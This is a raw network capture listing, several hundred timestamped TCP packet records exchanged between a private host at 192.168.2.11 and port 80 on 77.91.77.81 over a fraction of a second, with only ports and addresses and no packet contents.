Jun 4, 2024 23:09:16.392201900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392210007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392218113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392234087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392239094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392246008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392256021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392261028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392267942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392277956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392281055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392303944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392319918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392465115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392488003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392499924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392510891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392523050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392523050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392543077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392546892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392560005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392561913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392571926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392584085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392586946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392594099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392605066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392605066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392616987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392627954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392633915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392638922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392651081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392651081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392663956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392672062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392680883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392690897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392693043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392705917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392714977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392719030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392729998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392736912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392741919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392754078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392760992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392765045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392776966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392782927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392786980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392797947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392802954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392808914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392819881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392821074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392831087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392832994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392851114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392860889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392863989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392884016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392889977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392900944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392913103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392913103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392924070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392925978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392935038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392945051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392949104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392965078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392966986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392977953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392987013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392995119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393003941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393007040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393018007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393024921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393034935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393047094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393048048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393057108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393063068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393079042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393086910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393090010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393101931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393110037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393119097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393122911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393131018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393141985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393147945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393161058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393167019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393172979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393183947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393188953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393194914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393205881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393212080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393228054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393237114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393245935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393254995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393260002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393275976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393276930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393287897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393291950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393299103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393307924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393316984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393322945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393330097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393341064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393348932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393352985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393372059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393373013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393383980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393394947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393397093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393407106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393409014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393418074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393429041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393435001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393439054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393450022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393459082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393461943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393472910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393476963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393484116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393486977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393496990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393507957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393515110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393523932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393538952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393541098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393552065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393553972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393563032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393579960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393580914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393593073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393603086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393605947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393618107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393618107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393630028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393641949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393642902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393652916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393663883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393670082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393676043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393683910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393687010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393697977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393702984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393709898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393726110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393728971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393744946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393752098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393758059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393762112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393775940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393788099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393789053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393800020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393800974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393810987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393821001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393824100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393836021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393843889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393847942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393862963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393884897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393903017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393918991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393930912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393939972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393940926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393951893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393963099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393964052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393975973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393986940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.393992901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.393999100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394002914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394016981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394028902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394037962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394053936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394056082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394064903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394077063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394077063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394094944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394100904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394107103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394118071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394124985 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394129992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394141912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394145966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394156933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394169092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394170046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394184113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394195080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394196033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394206047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394207954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394222021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394234896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394239902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394252062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394259930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394263983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394274950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394279957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394287109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394299030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394304037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394309044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394320011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394329071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394336939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394346952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394355059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394359112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394366026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394382954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394386053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394397020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394407034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394408941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394424915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394435883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394438028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394448996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394459963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394468069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394479990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394480944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394491911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394501925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394509077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394519091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394530058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394534111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394540071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394543886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394553900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394563913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394568920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394575119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394587040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394593954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394598961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394608974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394613028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394627094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394650936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394678116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394690037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394699097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394709110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394716978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394721985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394732952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394742966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394745111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394766092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394782066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394784927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394792080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394800901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394813061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394823074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394848108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394881010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394895077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394913912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394921064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394929886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394939899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394944906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394949913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394956112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394961119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394970894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394979954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.394982100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.394998074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395005941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395009995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395020962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395024061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395046949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395046949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395059109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395070076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395071030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395080090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395091057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395101070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395126104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395153999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395164013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395174026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395184040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395195961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395203114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395204067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395212889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395222902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395236015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395236015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395253897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395277023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.395359993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.395376921 CEST	80	49713	77.91.77.81	192.168.2.11
